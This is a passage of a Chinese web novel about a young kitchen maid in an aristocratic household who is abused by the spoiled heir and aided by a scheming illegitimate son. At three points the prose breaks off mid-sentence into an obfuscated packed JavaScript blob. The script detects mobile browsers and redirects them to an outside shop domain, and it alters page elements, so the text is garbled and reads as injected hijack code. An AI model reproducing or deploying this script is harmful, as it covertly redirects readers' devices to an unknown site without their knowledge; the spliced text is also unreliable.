《碧桃花谢春意晚》 1. 洗砚 元亨七年，四月阳春。 少女明媚的容颜倒映在水翁中，春桃趴在厨房的水翁边，换着不同的角度欣赏着自己的脸蛋，玩的不亦乐乎，时不时晃一晃发带上绑着的桃子铃铛，发出一两声铃铃脆响。 突然，一边耳朵被人狠狠揪起来，疼的春桃龇牙咧嘴。 “哎呦，李奶奶饶命。”春桃捂着耳朵叫起来，在李奶奶的巴掌打下来前躲到厨房外去了。 李奶奶没工夫跟她掰扯，继续回到厨房忙活，粗着嗓门儿骂道：“一天天的，菜不好好洗活儿不好好干，就光想着做白日梦，我就不该挑你来帮厨，当初看着挺机灵的，结果全机灵错地方了。” 回过身，见春桃趴在门边瞅她，心里气就不打一处来，将一碟果子放进精致食盒，作势又要来打她，把春桃吓得忙躲，却被扯住袖子。 “先前崔奶奶来说，春鸠儿的干娘死了，今日不能往对面府里去，你赶着少爷们散学，把这点心送去点春堂，交给二爷跟前儿的小厮。” 春桃的眼睛亮了起来，不禁暗暗感谢春鸠儿的干娘，这是她卖到白家来的第五个年头了，整日都跟着干娘李奶奶在后厨打转，能出府去的日子一年里一个巴掌都数的清。 年前隔壁太傅府请了一位博学鸿儒的老先生，来给他们家的少爷开蒙，恰巧白家二爷白庭轩也到了开蒙的年纪，白家太太便联络了太傅府，送二爷往那边去进学。二爷是白家长房独一位的嫡少爷，身份尊贵，每逢出府都要兴师动众，宝马香车金坐着，奴银婢的陪侍着，还得白家厨房给他做好喜欢的点心送到太傅府去，排场铺的特别大，白家其他几位少爷都越不过他去。以前白二爷要在巳时二刻用点心，都是厨房现做出来，让门房小丫鬟春鸠送过去。 今天这份差事落在了她身上。 虽说就是去隔壁，但好歹是出府，多看几眼街巷上的繁华市井，是这十二三岁年纪的小姑娘无法拒绝的。 春桃乐颠颠的捧起小食盒，那里面装的是桂花栗子糕，是太太从江南娘家带来的厨子做的，二少爷虽生在上京，却也随了母亲的偏好，偏爱江南美食。 她领了出府的门牌，过了几道门，匆匆望了几眼繁华街巷，便进了太傅府。 王太傅家的丫鬟名唤绣桔，比春桃高出一头，一边引路，一边笑着与春桃攀谈：“今儿我们家少爷入宫了，只有白家少爷在学堂，你只随着我去便是了。” 春桃乖巧点头，仰脸打量着太傅家的山池雅园，那绣桔见春桃脸蛋圆圆，模样可爱，又小小的年纪，心里颇喜欢她，捏了捏春桃的脸蛋，和她继续聊。 “我们府的私塾先生，是我们老爷在汝阳王府时的同僚，当年在金銮殿上也是册对过的。先帝爷在时，给汝阳王做过几年的老师，最是刚正不阿博学鸿儒，这几年辞了官，几家高门显贵都求着让先生去，还是我们老太爷面子大，这才请了来。管学生最是严格，从不看家里父亲官阶几何，但凡犯了错处，通通一顿手板。你家少爷也常遭骂，你一会可小心些，主子生气仔细拿你出气，平白受一顿打骂，又是何苦来。” 把春桃听得一愣一愣的，连忙点头如捣蒜，那绣桔见春桃听话，越发喜欢她，两个人挽着手到点春堂去。 少爷们学书的点春堂坐落在太傅府别院，面对一池春水，几株垂柳，几树梅花，端方雅致莫可言说。 春桃随着绣桔引路，穿越廊桥过了洗砚池，点春堂的大门便开在山石掩映处。 隔老远春桃便瞧见，一个少年正蹲在一株柳树边，就着池水洗刷着一方砚台。 那少年约莫十五的年纪，身姿挺拔如松，肩背笔直，洗砚的动作不疾不徐，竟有几分浑然天成的矜贵。 春桃看的有趣，却听身边绣桔姐姐嘀咕道：“今儿怎么这么早就洗砚了，感情你们家主子这个点儿要走？” 春桃回神，不知道发生什么事，她听李奶奶嘱咐过，主子少爷跟前伺候的小厮叫白明，此刻那少年想必是在给主子少爷洗砚，多半是白明，便上前去。 “可是白明哥吗？我是厨房来送点心的，烦劳白明哥给二爷送进去。”春桃笑眼弯弯，歪着脑袋，问着。 那少年动作有一瞬的僵硬，抬眼看向春桃，那双如炬的眼睛并不带多少情绪。 半晌，他低下头去，接着刷洗，却连春桃理都不理。春桃满脸莫名其妙，正在僵持下，学堂的石阶上一叠声的叫起来：“是厨房的来了吗？二爷正等着呢，赶紧进来吧！” 来人穿着姜黄短褂，小厮模样，倒是虎头虎脑，笑眼眯眯，冲春桃比着手势让她进去。 方才那少年虽气度高遒，但素服简装，看着不甚起眼，春桃是个终日在后厨打转的小姑娘，只敬罗衣不敬人，心里只是觉着那少年和这位明显是小厮的兄台比起来，似乎还要寒碜些，琢磨着不是小厮长随，也该是二爷的侍卫什么的。 她没有过多耽搁，连忙笑着点头，将食盒小心翼翼捧进去，一进了内堂，光线暗了暗，春桃低着脑袋，余光瞥见学堂里是有几位少爷在座的，约摸着是二房几位少爷。 春桃估摸着自家主子所在的方位，朝高居主位的少年福了一礼。 那少年赤金顶冠，锦衣华服，眉目间倒有几分富贵安耽颐养出来的的俊逸，此刻正百无聊赖的靠坐在太师椅上，坐姿四仰八叉，眼睛静静睨着春桃身上穿的绯色小比夹，心里不知道在想什么。 这便是白府在隔壁进学的二爷，白庭轩了。 半晌，那白庭轩才懒懒道了句：“小明子，接了。” 方才那位小厮又是一溜小跑的接了春桃递给他的食盒，谄媚笑着，躬身将小骨碟奉给白庭轩。 春桃满以为自己任务完成，正眼观鼻鼻观心的侍立一旁，准备一会二爷用完点心自己便可以脚底抹油溜到街上去逛逛，谁知—— 一个桂花栗子糕“倏”地砸在了她的鼻梁骨上，糕点酥软，当即砸开了花。 “哎呦——” 点春堂里面仿佛是炸了锅，几个爷儿们都哈哈大笑起来。 虽说春桃从前在厨房李奶奶手底下干的都是重活儿，可李奶奶在手下的几个小丫鬟里一向偏宠她，平日里再呼喝怒骂，也不忍狠戳她一个手指头的。 如今平白遭了一记爆栗，心里又是委屈又是害怕，连忙跌跪下去，她甫一跪下，二爷白庭轩的斥骂便劈头盖脸的砸下来。 “每日都是二刻送来，今儿为什么这个点儿才来？废物东西敢撞爷爷的晦气，你他娘的吃了雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613246|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心豹子胆！” 旁边有位模样与白庭轩颇相似的少爷，虽说穿着不及白庭轩，但也锦衣华服，正邪邪笑着，拔高了嗓门儿道：“白明，掌了嘴给咱二爷把这小贱人剥光了扔窑子里头去！” 几位少爷又是一通起哄鼓掌。 青春的贵族子弟是这样，喜欢在女孩子面前说几句荤话，仿佛显得他们颇有本事。 几人见春桃吓得直哭叫喊得更激烈了。 爷儿们一通大呼小喝，男人的声音粗重又高亢，就像是平地炸起惊雷，吓得春桃连求饶都浑忘了，泪水挂在小脸儿上，呆愣愣的看着自己的主子。 方才还脸面白净的少年此刻面容扭曲狰狞，怒目圆睁，像是顷刻之间褪去人皮化作凶残的虎豹。听到了后面人的起哄，眼神转而戏谑，带着股子色眯眯的玩味在春桃身上逡巡。 她根本就不知道少爷嘴里的窑子是什么东西，只是被少爷这幅模样给吓住了。此刻尚未到巳时二刻，但主子说她误了时间，那就是误了时间，她没有辩白的余地，只能生生忍受。 白明跟在白庭轩后面，做惯了为虎作伥的勾当，知道自家二爷惯喜欢作弄底下小丫头子，当即应声就上，揪起春桃的衣襟扬起粗大的手掌，便准备左右开弓。 “青天白日的，这又是何必。”一道清朗的声音从屋外而来，冲白明道，“白明，出门在外怎么一点规矩都不懂，还不收了你的手。” 进门来的，是方才那位在池边洗砚的少年，一身黑衣颀长，勾勒出他挺拔的身姿，脸面生的白净，眉目俊朗，透着一股子不由分说的冷峻。 从他进了点春堂后，几个少爷都不再言语，像是突然按住了暂停键。 “要打要杀，提回咱们府里自去处置，在这儿给人点眼，没得白让人看笑话。嗯？”少年并未落座，他的目光扫过下首的几位少爷，但凡与他对视上，都将视线移向了别处。 白明虽未收手，巴掌却也迟迟未落下。 诡异的沉默持续了半晌，主位的白庭轩并不回避黑衣少年的目光，挑衅又轻蔑的看着他，像是在看一台好戏。 白向晚俯身将方才白庭轩一怒之下掀翻在地的糕点一一捡起，继续出言道：“从前都是门房的春鸠儿送点心过来，今儿是我瞧着这丫头眼生，怕不懂规矩，有心多盘问了几句，谁知误了时辰。” 那白庭轩听了他这几句，竟没再发作，继续坐回椅子，翘起个二郎腿。 空气中好像有什么东西在拉扯。 几位少爷你看看我，我看看你，一副看好戏的样子。 白向晚转过身，正对上春桃泪挖挖的眼睛，他向她飞了一个眼神，示意她乖觉，便又向着白庭轩道：“奴才不懂事，回去吩咐管事妈妈法办，何必脏了二哥的手，回头若是传到太太耳朵里，又是一番记挂。” 按照礼法，家里的男主人不能插手后宅奴婢赏罚，在他这里，打死丫鬟倒不值什么，只是若是让母亲庄氏知道他误了规矩，盘问起来，却是一件难缠的事。 白庭轩越想越烦躁，瞪了春桃一眼，吓得春桃一哆嗦，略略志得意满，便不再纠缠，只是吩咐白向晚道：“你知道怎么处理，那老杂毛儿让写的文章还是老规矩，写完了自己送到我院里。” 2. 姨娘政治学 白向晚将人送至门口，长身玉立，遮住了门外一部分光线，在春桃模糊的泪眼中一会儿变成两个人一会儿又变成一个。 白明提着书箱给主子断后，临走时还在廊子上回身给白向晚哈腰，笑道“烦劳三爷，丫鬟年轻不懂事，却也不能白冲撞了二爷，三爷回去和崔奶奶打个照面儿，照例打五十板子，撵出府去，也不值什么。” 白向晚也不多言，只是点头，道了一声“好”。 那应诺声依旧没多少情绪，让春桃心里好一阵咯噔。 她抬眼望那转过身来的少年，两粒金豆子便不自觉的就掉了下来，配着脸上的糕点渣，又滑稽又可怜。 少年站着看了半晌，叹了一口气，朝门外招手，一直在外观望的绣桔蹑手蹑脚的进了书斋。 白向晚附耳与绣桔说了几句，只见绣桔连忙点头，言罢，便不再回身瞧春桃，兀自走了。 绣桔是真心喜欢这隔壁府的漂亮小姑娘，见她可怜巴巴，连忙跑上去扶起她，用自己的帕子给春桃擦掉脸上的糕饼渣，边擦还一边念叨。 “你也是倒霉，你们家二少爷总是被我们先生责骂，今儿没我们家主子作陪，先生定是可着他一个人训诫的。主子心里窝着火儿，自然拿你出气。” 春桃此刻才“哇”的一声哭出来，扒住绣桔的衣服一把鼻涕一把泪的嚎，看的绣桔又心疼又好笑，连忙抚摸她的背，劝道：“别哭了，好在你只送这一回，以后见着你家主子绕着道儿走不就是了。” “可是，可是……”春桃呜呜咽咽，“二爷方才不是说要把我撵出府去，我活不长了绣桔姐姐……” 绣桔噗嗤一声笑出来，把春桃扯起来，收拾了一下书斋，将小食盒继续给春桃挎在胳膊上，拉着她出去。 “你这不是落在白三爷手里了吗，若真要让二爷处置你，只怕此刻尸身都不知道去哪里了，你还有功夫在这哭呢。” 春桃只知白家有嫡少爷二爷白庭轩。 五年来，竟是连这位三爷的只言片语都没听过。 绣桔在小桥边给春桃擦眼泪，一路送春桃往白府去，绣桔是很有见识的姑娘，年龄也长春桃几岁，对春桃的担心很不以为然，还劝她去街上买些糖人儿的来玩。 春桃这会子惊魂未定，连繁华街市都懒得搭理。 二人在白府后角门作别，春桃便又回到了后厨，胆战心惊的给李奶奶帮厨。 早上的际遇就像一个滑稽又恐怖的玩笑，随风而逝，一直到晚间春桃给丫鬟们送饭时，都还没有二爷的打手来抓她。 春桃终于放了心。 让春桃每日给宜兰院的大丫鬟们送饭的指派，是李奶奶安排的。李奶奶在后厨一辈子，无儿无女，只认了几个新买的小丫头子做干女儿，除了早先得天花死了的春枝，便只剩春桃春秧两个小丫鬟。 李奶奶指望着两个小丫头给她送终，却也希望她们能各自攀上好前程。 春桃一看就是个美人胚，招人喜欢，所以派她给大太太的宜兰院送饭，希望春桃能和宜兰院多走动，将来年纪大点能选进宜兰院当差。 这会子春桃就在垂花门边正捧着饭盒与宜兰院的几个大丫鬟聊天儿。 “姐姐觉得今天的晚点可还中吃吗？李奶奶整天想给姐姐们变着花样做，却不知道姐姐们各自喜欢什么，不如姐姐们说与我听，我记下了好回去告与李奶奶知道。”春桃回忆着李奶奶出发前教她的话术，一字一句的复述出来。 正整理头发的一个丫鬟噗嗤一声笑出来，对其他几个丫鬟道：“这一听就是李奶奶那老货教她说的，一听就不像这丫头会说的话。” 旁边一个穿着香妃色锦袄的丫鬟名唤灵棋，是太太跟前得脸的丫头，人也沉稳，笑着推了推方才说话的音书骂她嘴快，接了话茬道：“李奶奶最是喜欢做这些曲里拐弯儿的事情，说吧，这回派你这小耳报神来又为的是什么事。” 春桃最是好气性儿，被人调笑也不恼，只是笑吟吟赞道：“几位姐姐自然比我们娘儿俩聪明，如何能瞒的过姐姐们。李奶奶其实就是想问问，大太太先头说，春上要给宜兰院添几个丫鬟，想请示今后的饭该怎么做。” 闻及这话，几个丫鬟倒是交换了几下眼色，春桃不解，眨巴着眼睛等答案。 良久，灵棋才开了口。 灵棋道：“先前时疫严重，我们宜兰院也没了两个丫头，咱们太太原是想着再添置些人进来，只是这人数还没定，我们也不好提前说口。且二爷这些年越发大了，总在老太太处也不便宜，咱们太太的意思是，开春便让二爷挪去老太太荣寿堂隔壁的新院落，又是一番张罗。到时候太太这边要拨人，老太太疼惜二爷，定然也要派得力丫鬟给二爷，到时候荣寿堂也有空缺，再连着东院二老爷处，大少爷处如今又添了人口，也要操持着安排丫鬟。许多事还说不准呢。”灵棋一张口说了好几家的人事安排，把春桃听得发懵，旁边的素织只是瞧着灵棋笑，眼神古怪。 春桃又将灵棋的话一五一十的记下来，谁成想听到了熟人，嘴一快，便问了一句：“那三爷呢？三爷也另辟院落住吗？” 旁边音书银铃般的笑声又响起来：“哎呦呦，还知道三爷呢，还有什么是你不知道的？灵棋姐姐快别给她说了，这丫头精着呢。” 说完还扭了扭春桃圆嘟嘟的脸蛋，倒是把春桃弄了个大红脸。 她们做丫鬟的，好像的确不宜询问主子，尤其还是男主人。 灵棋见春桃难堪，知道音书没有恶意，便也不制止，只是继续笑着道：“三爷从小病弱，八九岁上得过天花，因此迁出去在蕴绿轩住，不与我们宜兰院相干。说回我先前的话，二爷新辟院落，也要安排丫鬟伺候，至于具体多出来多少人口，并不清楚。太太最近忙着给二爷相看江南卢家的小姐，等忙过这一阵子才有功夫考虑擢选丫鬟的事儿。到时候要往府里买人，你们厨房也会新添了账面，一切等太太示下便是了。” 二爷是白府长房独一位的嫡子，因此从小跟着祖母老太夫人丁氏住在荣寿堂，老太太溺爱孙子，竟是到十五岁都还没让白庭轩单辟院落居住。 春桃记住了话，笑言谢过了几位好心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613247|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐。 “什么，大少爷和老太太房里也要添人？”李奶奶忙过午饭，回了奴才住的房舍，把春桃拉进自己屋里说话。 她听了春桃的复述，掰着粗糙的胖指头盘算着，另一个养女儿春秧嘴里叼着一块馒头正往屋内走，却被心情烦躁的李奶奶轰了出去，插上门栓。 “本来是让你问大太太屋里情况，可灵棋怎么连带着把二老爷老太太那边的底都交了。二老爷新抬了贵妾，大少爷新婚燕尔的，都不合适。可见这蹄子机灵，知道了我们想干什么，要把我们往另外两房撺掇呢。” 李奶奶在屋子里转着圈儿走，嘴里咕哝着，时而蹙着眉毛，时而神采奕奕，一张肥胖的老脸上各种表情变幻交织。 半晌后，李奶奶扑到春桃跟前，抓着春桃的手问：“你说二爷今儿早晨看你是什么眼神？” 春桃一脸莫名其妙，但李奶奶老早就提点过她，但凡见了二爷，定要把他看自己的神色一一记下来，最好还能记下二爷的喜好，顶顶好的是能让二爷的目光在她身上停驻。 很明显第三点李奶奶已经不抱希望了，毕竟春桃才十三四的年纪，长得是出挑，但还颇为稚嫩，还谈不上能让男人为她驻足。记下二爷喜好，目前来看也失败了，二爷恨不得能吃了春桃，活着回来就不错了。 至于眼神——“我说不上来，二爷像是长了一双豺狗眼睛，我就像是一块肉，二爷恨不得撕了我呢。” 春桃心有余悸，想往李奶奶怀里钻，谁想却被李奶奶恨铁不成钢的在背后锤了一下。 “蠢材蠢材，小爷儿的意志最是变幻，别瞧着现在不对付，赶明儿就看对眼儿了也说不定。只要让他记下了你，只要别让人家彻底厌弃了你，就都有戏！” 李奶奶有一个宏伟的志向，那便是将她最漂亮的养女，春桃，培养成白家二少爷的姨娘。 她在后厨打转，一辈子绕着锅沿儿转，熏得糙黑的脸，如今头发也白了，背也驼了，眼看着没几年力气好卖了，她也想过几天好日子。白家二爷白庭轩最为得宠，身边的丫鬟都穿的比寻常主子体面，若是能让春桃做了白庭轩的宠妾，说出去，她是新贵姨娘的干妈，多体面，多风光！ 现如今那位她宏伟蓝图中的“新贵姨娘”正坐在炕沿子上，观其神色，还是个没开窍的。 李奶奶不由得叹气，用自己粗糙的手捧起春桃的小嫩脸摩挲着，忧心忡忡道：“小春桃儿，你也顶顶事儿！将来做了新贵姨娘，接你李奶奶去享福啊！” 春桃不由得讪讪，她也顶想出人头地，也顶想孝敬自己的李奶奶，若是只有做姨娘才能让李奶奶欢喜，那她也没意见。可这做姨娘，竟也是一门大学问，要每晚比春秧少睡一个时辰，用来练身段，练歌喉，往身上抹滑腻腻的葵花粉来增白。将来遇着少爷，还要给少爷适时的抛媚眼，要挑准时候在少爷跟前遗帕子，还要做的巧，做的招人喜欢。远没有她去给人家送饭，她送去，人家就吃那么简单。 春桃实在是心力交瘁，相比之下，小姊妹春秧就比她上道儿，春秧机灵，一点就通。 3. 春深 春桃有些难过了。 “其实，去二老爷处也是个好所在，大少爷成器，你若跟了他，也难说没有大造化。” 大少爷是白家小一辈儿里面的翘楚，二房所出，今年十九了，早年虽科举不第，但这些年家里给他捐了一个官儿，在折冲府任果毅都尉，跟在云麾将军连怀让手下，年前儿娶了连将军的庶出女儿，颇得连将军照拂，也算是颇有前途。 “二老爷就算了，二老爷连他自己有几房姨太太都说不清，二房乌烟瘴气的，只恐折了你的小命儿在里头。余下几位庶子有嫡子在上头压着，怕也难出头。” 李奶奶此刻恍若一位指点天下的谋略家。 不过她说的二老爷一房的情况倒也属实，二老爷年轻时念书还及不上他那长子，借着和大太监荣保关系好，在门下省领了一个散官的闲职。颇好风花雪月，四十奔五的人了，光是叫得上名头的姬妾就有七八个，更遑论通房侍妾什么的，女人一多争风吃醋的事情更不少，二老爷每日一睁眼就是给自己的红粉佳人们断官司审案子。让春桃去给他做妾，还不如直接把春桃勒死，结局都是差不多。 “也好，不至于在一棵树上吊死，我再帮你去探听。总归你年岁还不大，虽然大太太房里近水楼台，但也不是没别的出路……”李奶奶正要转过身来给春桃嘱咐，结果发现炕几上空无一人，一转身，发现门开了一个缝儿，哪还有春桃的影子，只剩一个春秧顶着灰麻麻的小脸儿，眼睛满是探寻的探头往里打量。 这死孩子，竟是自己溜了。 白府是典型的前住宅后园林的布局，后花园的深处，丛竹掩映着一座颇清幽的院子，名唤蕴绿轩。从前是一处观景台，位于白府中轴线的最末端，和最前面白府老太爷老太夫人所住的荣寿堂遥相呼应。从前是一处观景台，站在二层小阁楼揽星阁上，能俯瞰白府一府的景观。白府的老太爷性情高雅，从前最喜欢站在上面极目远眺。但老太爷渐渐年岁大了，便不再往这儿来，此处后来改建做主人居所，从白府庶出三少爷白向晚搬进来起，已经有九个年头了。 此刻时值傍晚，各房的主人丫鬟俱已用毕晚饭，白府内眷有的已经领着身边丫鬟在园子里漫步消食儿。 只是蕴绿轩是颇冷僻的所在，饶是女眷们再喜欢在园子里转悠，这里也从不会有人涉足。 此刻白向晚正立于揽星阁上，手指轻叩栏杆，他深黑的眼睛越过一座座已经掌灯的住宅，往更远处望去。 侍从从嘉登上阁楼，回禀道：“三爷，不出您所料，膳房小丫头春桃方才来，想要见您。” 白向晚并未有所动作，只是问道：“把我的意思跟她说清了吗？” 从嘉点头，而后面有难色道：“奴才已按照您的意思说与那丫头听了，她颇感慕您的恩情，连连允诺。可奴才观其神色，并不像是个机灵的，奴才担心您费神一场，这丫头却办不好差事，岂不是咱们下了一步错棋？” 从嘉的担心不无道理，春桃心智未开，且与他们接触不深，就算白向晚今晨救了她一把，可那白庭轩到底没有伤她性命，也不算能值得让人结草衔环的天大恩情。万一瞧上的这个是个首鼠两端的，岂不是容易卖了他们？ 白向晚微微勾起唇角，眼神依旧冷冷的，道：“你不信我识人的眼力？” 从嘉连道不是。 自己主子是什么神仙般的人物，外人或许不知道，可他们这些底下的人却一清二楚。 “奴才是想，既然咱们决意离家，姨娘那边定要安排得力的人，不然咱们想走都摘不干净。” 白家吃人不吐骨头，一旦让他们知道有能牵制三爷的软肋，还怎么逃得脱这虎狼窝？从嘉是害怕三爷一着不慎，又要为这凡俗庶务拖累。 “你自去跟陈家的安排后续，我有把握。” 从嘉只能应声退下。 楼下，春桃挎着一个小食盒正在这方院落左顾右盼，在白府里，她能去送饭的地方很少，除了去大太太的宜兰院，老太太的荣寿堂，两位小姐所住的漱砚斋，这蕴绿轩是她在白家这五年里到过的第四个主人家的住所。 既不像荣寿堂那般讲究吉祥富贵，又不像宜兰院那般排场华丽，也不似漱砚斋那般追求雅致秀美。蕴绿轩没有那么多金碧辉煌的装饰，相反是古木青苔，苍松翠柏居多。 空落落的院子并没有堆放任何杂物，唯在墙根儿旁摆着几瓮莲荷。 屋舍打扫的窗明几净，一尘不染，透过半掩的轩窗，可以看到书房里挂着一张古琴，案几上摆着几幅刚写好的斗方，书墨未干，远远瞧着笔力遒劲，堪称名家。 春桃正趴在窗边看着那副字发出由衷的赞叹，却听见身后一声咳嗽，她连忙回转身去，便瞧见白向晚穿着月白的锦袍，风姿出尘的站在自己身后。 方才那声咳嗽，就是他身后的侍从从嘉发出的。 渐暗的天光柔和了白向晚的面庞，冲淡了他的凌厉，他现在心情好似也还不错，故而俊逸秀美较白天更甚，他负手而立，漫天星辰在他身后若隐若现。 春桃看的呆了呆，连忙向他行礼，被他伸手制止。 “多谢今晨三爷相救，奴婢无以为报，这份栗子糕是奴婢亲手所做，还望三爷莫嫌弃。” 做栗子糕的原材料自然也是她掏腰包买的，李奶奶偶尔会给她一些投资，但前提是那些栗子糕得用来勾引二爷。至于孝敬别的主子，让李奶奶知道了恐怕还得骂她浪费东西。 春桃也觉得自己很可笑，明明早上才被二爷用栗子糕暴击，下午做什么又要做栗子糕来给自己找不自在。可是她早上看见三爷俯身去捡掉在地上的那些栗子糕的样子，就像是刻在了脑子里，再也忘不掉。 因此鬼使神差的就做了栗子糕。 三爷在那些糕点上扫了一眼，笑着道：“大太太和二哥确实喜欢吃这道糕点，可见你干娘为你筹谋的着实长远。” 春桃还以为三爷在夸自己，正笑嘻嘻的，谁知下一句—— “不过，我惯不喜甜食，虽则如此，还是谢谢你的好意。” 春桃的笑容干在脸上，有点难堪，好在三爷又接着道：“你干娘为你如此筹谋了一场，我如今让你到太太跟前儿服侍，不知你今后有什么筹算？” 这才算是落到实处，春桃连忙点头，一脸坚定道：“奴婢一定与干娘一起报答三爷大恩，一定好生孝敬姨娘，三爷只管放心。” 李奶奶想破头都没法子把她塞进宜兰院，三爷一句话的功夫事儿就成了，这不是天恩是什么？ 白向晚并不应声儿，只是似笑非笑的给从嘉打手势，从嘉从春桃手上接了食盒。 良久，白向晚才道：“你诚心谢我，我自然放心。往后你若是得了造化，果真能在二哥跟前服侍，也算我做了一回媒人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613248|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们兄弟误会颇多，还指望你费心周全了。” 不知为什么，想起白天二爷那张牙舞爪的样子，春桃现在心里只是发怵，故而内心深处对靠近二爷这件事情极其抵触，本来都快忘了，结果三爷又提了一遍，又勾起了她不太美好的回忆。 春桃哭丧着脸，道：“奴婢粗笨，不敢再去冲撞二爷，只服侍好主子，办好三爷交代给奴婢的差事便是了。” 三爷听了她这话，方才满意点头。 初春的风柔柔的吹动少年的衣袂，吹乱少女的发丝，哪怕是在太阳已经落山的傍晚，也透着丝丝暖意。 春桃不知哪根筋搭错了，竟鬼使神差的问了一句：“三爷，窑子是很可怕的地方对吗？” 白向晚那一向成竹在胸的神色有一瞬间的空档。 “什么？” 春桃当即来了精神：“今早二爷不是让白明哥把我卖到窑子里吗，我晌午还真就做了一个梦，梦见我叫人卖进去了，四个足有半拉城墙高的武夫用烧红了的烙铁打我，让我做特别累的活，我稍微一偷懒他们就抓着我的头发，把我往油锅里面扔，我一下子就吓醒了。” 白向晚沉默半晌，言道：“那地方非如你所说，不过，却的确是很多女子的地狱。” “那是不是只有犯了错的女人要被卖到窑子里，那些女子都是很坏很坏的人，要把她们卖进去惩罚她们？” “什么样的女孩子都不该被卖到那里去。” 春桃似乎还没听懂，但依旧乖巧的点点头，向三爷躬身致谢。 她即将跨出蕴绿轩的时候，攀住院门儿往回看了一眼，瞧见三爷依旧伫立在廊下，目光竟一直在她身上未曾离开。 春桃冲三爷展颜一笑，既是亲近，又是感激，随即消失在夜色中。 豆蔻少女的笑容总是足以撩拨人的心弦，就算不经刻意的学习，光是那份天真烂漫，也别具摄人心魄的风姿。 白向晚静立半晌，良久，才发现自己唇角微微扬起的弧度。 从嘉打屋内出来，上前躬身道：“三爷，奴才点了灯，您今晚早些看书，早些安寝吧。” 白向晚又恢复了沉稳的神色，转身进了屋子。 “你去把琴取下来，许久没有练过了。” “是。” 自二楼传出的悠扬琴曲伴着春桃远去的步伐，最终在她消失在视线中时，戛然而止。 白向晚注视着天际最后一抹渐暗的彤云，沉吟许久，才最终开口：“从嘉。” “奴才在。” “准备密信。” “主子吩咐。” “王家已入彀，让他们千万小心。” 从嘉惊惧抬头，声音之中有一丝犹疑之色：“主子，我们可能会暴露。” “不会，他们无从查起。” “主子再多吩咐几句，奴才只怕王家不信。王家有周家作保，恐怕会麻痹大意。” “王家与周家当初能绑在一起，是因为什么？如今周家已经与圣人谈好条件，寿光公主出降便是信号，周家要舍弃王家了。” 从嘉脸上疑云更重：“周家怎可能背信弃义？” “丢卒保车，”白向晚手指轻轻抚摸琴弦，发出轻轻的摩擦声，语气似在谈论一件寻常家事，“周家一开始想要的就不是位极人臣，让王家不要太天真。” “奴才遵命。” 4. 筹谋 这边厢，厨房旁的奴才住所里。 “三爷允诺你？别胡扯了，三爷就是个失势的庶子，他生母方姨娘也早就失宠于大老爷了，他说要让你进宜兰院就能吗？”李奶奶骤然拔高了声音，又是不屑又是嘲讽，对这一消息的全然不信导致她连春桃私自去找三爷一事都懒得追究了。 春桃有心反驳却不及李奶奶嘴快，只听李奶奶又道：“哪怕你说小姐能给你说项，也比三爷可信得多。这府里有赛过主子的奴才，也有不及奴才的主子，三爷和方姨娘便是这样的主子。他别是看你好骗，想故意哐你呢？他还跟你说什么了？” 春桃连忙掩饰：“再没有了，三爷只说有本事让我进宜兰院，并且这个月就成，还说能立即让我得了大太太的重用，别的再没有了。” 李奶奶还是满腹狐疑，越发不信。 日子就这么一天天的过，春桃起先还在因二爷的那句将她卖出去的话而惴惴不安，又是迟迟不见三爷那边安排她进宜兰院的调令，她年纪小小，心里从没装过这么多事，竟发起高热来。李奶奶又是懊恼，觉得春桃不中用，又是心疼，想是春桃出府一趟，小孩子的眼睛干净，别是在外面撞见了什么不干净的东西，又是操心春桃万一脸上出疹子烂了脸坏了容貌可怎么好。夜里常常从厨房偷面粉和猪油出来，搅成面糊给春桃往脸上抹。 李奶奶心里总惦记着着她的发家大业，差事自然办的不利索。 “老奶奶！醒醒神儿！您老别是老眼昏花不识人吧？”清脆的嗓音像珍珠落在那银盘里，砸的李奶奶一个激灵。 李奶奶将手从才刚起出来的面团里拔出来，用胳膊肘揉揉眼睛，打眼看去，来者是个十五六岁的姑娘，水灵灵的，纤细高挑，虽穿衣素净却难掩桃李之色，狭长凤目似一泓寒潭。来的不是别人，正是大太太身边的大丫鬟素织。 要说这大太太不愧是白府里的当家奶奶，慧眼识珠，身边的丫鬟都好似千里挑一的出挑。除过老一辈的老妈妈，新近重用的这几个小丫鬟，灵棋心思缜密，为人瞧着也端庄稳重，最得大太太重用，素织性子冷淡，却最是说一不二，刚正守直，李奶奶做着白日梦，哪天要是能让她的小春桃也去受受大太太的调教，那就好了。 李奶奶脑内风暴着，嘴上也没闲着，连忙弓着身子冲素织姑娘福礼，满脸堆着笑道：“素织姑娘如何贵脚临贱地？敢是大太太有什么吩咐？” 